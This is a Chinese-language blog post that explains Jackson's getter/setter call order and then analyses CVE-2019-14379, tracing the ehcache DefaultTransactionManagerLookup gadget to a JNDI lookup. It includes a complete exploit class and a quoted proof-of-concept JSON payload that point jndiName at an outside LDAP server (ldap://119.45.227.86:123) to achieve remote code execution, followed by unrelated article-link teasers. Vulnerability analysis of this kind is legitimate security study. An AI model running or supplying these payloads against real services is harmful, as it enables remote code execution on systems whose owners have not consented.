最近想着分析jackson,jackson和fastjson有点相似,浅蓝大神的文章很好,个人受益匪浅

  昨天简单说了下jackson的用法,现在继续拓扑,补充前置知识,前置知识补充的足够多,那么漏洞分析也不是难事了:

   昨天忘了说的一个jackson知识点就是序列化和反序列化的时候,setName和getName调用顺序:

    Student.java:

    

package com.test.JackSonTest;

public class Student{
private String name;
private Integer age;
private Teacher teacher; public Student(){
System.out.println("student构造方法被调用");
}; public String getName() {
System.out.println(11111);
return name;
} public void setName(String name) {
System.out.println(2222);
this.name = name; } public Integer getAge() {
return age;
} public void setAge(Integer age) {
this.age = age;
} public Teacher getTeacher() {
return teacher;
} public void setTeacher(Teacher teacher) {
this.teacher = teacher;
} @Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", teacher=" + teacher +
'}';
}
}

  在setName和getName处,新增输出语句:

    调用测试类:

    jackson序列化和反序列化:

@Test
public void test2() throws IOException {
//序列化 对象转json字符串
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串时,在值上打印出对象类型
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化 json字符串转对象
String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}

  输出结果:

   

student构造方法被调用
2222
11111
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student构造方法被调用
2222
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}

 结论:在序列化的时候调用set*,然后调用get*方法,反序列化的时候会调用set*方法,不会调用get*方法,调用反序列化的json数据对应的类构造方法

   CVE-2019-14379漏洞分析:

  影响jackson到2.9.9.1:

   这个漏洞还是比较有意思的,其他的cve,我都看了下,都比较简单:

   先安装漏洞环境依赖:

      pom.xml:

<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency> <dependency>
<groupId>net.sf.ehcache</groupId>
<artifactId>ehcache</artifactId>
<version>2.10.6</version>
</dependency> <dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>6.0</version>
</dependency>

  单单有ehcache依赖是不行的,还得有javaee包,否则调用ehcache的时候,会提示找不到!

    反序列化的恶意类是:net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup

    因为代码量的原因,直接静态调试了,不是很难,通过反射进入代码:

    进入类:

   找到这段代码:

    

    

 public void setProperties(Properties properties) {
if (properties != null) {
String jndiName = properties.getProperty("jndiName");
if (jndiName != null) {
this.defaultJndiSelector.setJndiName(jndiName);
}
} }

  获取jndiName的值,然后设置jndiName:

  继续看这个类的其他方法:

      

  

public DefaultTransactionManagerLookup() {
this.transactionManagerSelectors = new Selector[]{this.defaultJndiSelector, new GlassfishSelector(), new WeblogicSelector(), new BitronixSelector(), new AtomikosSelector()};
}

    定义数组,存储了这些数据,其中包含了this.defaultJndiSelector,这是重点,等下会用到

   this.defaultJndiSelector的来源:

    

    

private final JndiSelector defaultJndiSelector = new GenericJndiSelector();

  发现defaultJndiSelector实例化了GenericJndiSelector

    这个等下要用到,这个先标记下.

    继续看这个类的其他方法:getTransactionManager():

    

  代码如下:

      

 public TransactionManager getTransactionManager() {
if (this.selector == null) {
this.lock.lock(); try {
if (this.selector == null) {
this.lookupTransactionManager();
}
} finally {
this.lock.unlock();
}
} return this.selector.getTransactionManager();
}

    跟进去this.lookupTransactionManager():

    

  其中

 Selector[] var1 = this.transactionManagerSelectors;
int var2 = var1.length;

  获取的数组内容,就是DefaultTransactionManagerLookup类提供的,继续往下走代码:

  

  跟进去:

    

  

public TransactionManager getTransactionManager() {
if (this.transactionManager == null) {
this.transactionManager = this.doLookup();
} return this.transactionManager;
}

  调用this.doLookup()方法:

    跟进去:

    

  跟进到了Selector类,发现这是个抽象类:

  以前写文章说过,java基础:抽象类方法的实现在他的子类继承,如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.

  寻找他的子类:

    

  跟进去看看:

    

  快速找doLookup的具体实现:

  

  把代码搞出来:

  

protected TransactionManager doLookup() {
InitialContext initialContext;
try {
initialContext = new InitialContext();
} catch (NamingException var14) {
LOG.debug("cannot create initial context", var14);
return null;
} try {
TransactionManager var3;
try {
Object jndiObject = initialContext.lookup(this.getJndiName());
if (jndiObject instanceof TransactionManager) {
var3 = (TransactionManager)jndiObject;
return var3;
}

   发现调用lookup,远程调用我们的jndiName,jndiName可以通过properties设置:

Object jndiObject = initialContext.lookup(this.getJndiName());

  

  至此都分析完了,触发jndi远程调用的文件是:net/sf/ehcache/ehcache/2.10.6/ehcache-2.10.6.jar!/net/sf/ehcache/transaction/manager/selector/JndiSelector.class

  只要我们设置我们的jndiName为恶意地址,并且调用getTransactionManager方法,即可实现rce:

  构造exp:

  

package com.test.JackSonTest;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin;
import net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup;
import org.jdom.transform.XSLTransformException;
import org.jdom.transform.XSLTransformer; import java.io.IOException;
import java.sql.SQLException;
import java.util.Properties; public class attackJdbc {
public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException, XSLTransformException {
ObjectMapper objectMapper =new ObjectMapper();
Class.forName("org.jdom.transform.XSLTransformer");
Class.forName("net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup");
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String json2 = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":[\"java.util.Properties\",{\"jndiName\":\"ldap://119.45.227.86:123\"}]}]";
Object o = objectMapper.readValue(json2, Object.class);
objectMapper.writeValueAsString(o);
}
}

    这里要writeValueAsString序列化一次,是因为只有调用get方法的时候才能触发lookup远程调用,所以这里需要序列化一次

  运行代码:

  关于恶意json的构造,参考一开始写的测试类中序列化的生成,我是根据序列化生成json反推出来的恶意json

  浅蓝提供的exp是:

    

 String poc = "[\"net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup\",{\"properties\":{\"jndiName\":\"ldap://119.45.227.86:123/hello\"}}]";

  这边执行提示我json格式错误...

  真的学到了不少哈哈哈,还是比较有意思的,虽然实战很鸡肋..

  漏洞分析参考文章:

    https://b1ue.cn/archives/189.html   

    

jackjson学习2+CVE-2019-14379漏洞分析的更多相关文章

  1. Java安全之XStream 漏洞分析

    Java安全之XStream 漏洞分析 0x00 前言 好久没写漏洞分析文章了,最近感觉在审代码的时候,XStream 组件出现的频率比较高,借此来学习一波XStream的漏洞分析. 0x01 XSt ...

  2. 漏洞分析:CVE 2021-3156

    漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...

  3. 《0day安全软件漏洞分析技术》学习笔记

    最近因为工作需要在看0day的软件漏洞分析,发现这本<0day安全软件漏洞分析技术(第2版)>真是本好书,唯一缺点就是书上的环境是Windows XP 32Bit的,基于现状难以进行实践, ...

  4. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  5. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  6. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  7. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  8. CVE-2019-0708 漏洞分析及相关测试

    在CVE-2019-0708公布后几天就已经尝试过复现该漏洞,但借助当时exp并没能成功复现反弹shell的过程遂放弃,故借助这次漏洞复现报告再来尝试复现该漏洞,因为还在大三学习中,有很多知识还没有掌 ...

  9. Exchange ProxyLogon漏洞分析

    Exchange ProxyLogon漏洞分析 前言 续前文继续学习Exchange漏洞 Proxyshell 影响范围 Exchange Server 2019 < 15.02.0792.01 ...

随机推荐

  1. day6.细说类型2

    一.字符串(一)字符串需要掌握的操作1.# strip (清除):序列是一段字符串,该函数表示从头和从尾部同时开始进行扫描,如果扫描的字符在序列字符串中,则剔除掉,一直到遇到一个不在序列字符串中的字符 ...

  2. 面试有关TCP常问的几个问题

    在面试中网络问题是一定会考察的,而TCP协议则是考察网络知识的重点.经常会被问道的问题如下: 请讲一下TCP协议建立连接的过程 请介绍TCP协议中的三次握手和四次挥手是怎么样的 为什么TCP协议要三次 ...

  3. Docker 实践搭建php环境

    docker 安装 使用官方提供的安装脚本,安装最新版的Docker curl -sSL https://get.docker.com/ | sh 安装完成后,通过如下命令启动Docker的守护进程, ...

  4. 手动脱ORiEN壳实战

    作者:Fly2015 ORiEN这种壳之前没有接触,到底是压缩壳还是加密壳也不知道,只能试一试喽.需要脱壳的程序是吾爱破解脱壳练习第7期的题目. 首先对加壳程序进行查壳,这一步也是程序脱壳的必要的一步 ...

  5. hdu2722 简单最短路,处理好输入就行

    题意:       从左上角走到右下角,有的最短时间,每段路径的长度都是2520,每段上都有自己的限制速度,方向. 思路:      直接写就行了,就是个最短路,权值是2520/限制,输入的时候细心点 ...

  6. ART模式下基于dex2oat脱壳的原理分析

    本文博客地址:http://blog.csdn.net/qq1084283172/article/details/78513483 一般情况下,Android Dex文件在加载到内存之前需要先对dex ...

  7. CTF常见的加密和编码方法

    目录 哈希摘要算法 对称加密算法 其他加密算法 编码 哈希摘要算法 以  root 加密为例. MD4:32位的摘要算法.2add09183d0b1dc0428701df9838fba MD5:32位 ...

  8. 推荐算法-聚类-DBSCAN

    DBSCAN(Density-Based Spatial Clustering of Applications with Noise)是一个比较有代表性的基于密度的聚类算法,类似于均值转移聚类算法,但 ...

  9. 双非硕士的辛酸求职回忆录:第 2 篇 谈谈我是如何同时找到Java、Python、Go等开发岗和国企银行的科技岗位Offer(上篇)

    1. 双非硕士的辛酸求职之旅--谈谈我是如何同时找到Java.Python.Go等开发岗和国企银行的offer 1.1. 秋招最终情况 本人情况:双非硕,意向工作城市广深,Java和Python技术栈 ...

  10. 码农飞升记-02-OracleJDK是什么?OracleJDK的版本怎么选择?

    目录 1.Oracle JDK 是什么? 2.Oracle JDK 版本如何选择? 1.Java SE 发布节奏以及不同版本的差距 1.Java SE 8 以及之前版本的发布节奏和不同版本的差距 1. ...